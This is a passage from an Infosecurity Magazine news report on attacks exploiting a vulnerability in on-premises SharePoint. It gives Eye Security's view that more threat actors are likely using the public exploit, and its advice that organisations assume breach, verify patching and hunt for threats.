systems. Outside of the three threat actors identified by Microsoft, Eye Security has not attributed the attacks to other groups. However, the firm told Infosecurity that given the public availability of the exploit, it’s very likely that additional threat actors are also taking advantage of this vulnerability. Eye Security directly notified its customers and partners about the threat on July 21 and is now urging all organizations using on-premises SharePoint to assume breach, verify patching and conduct thorough threat hunting. Image credit: jackpress / Shutterstock.com
infosecurity-magazine.comJul 30, 2025extracted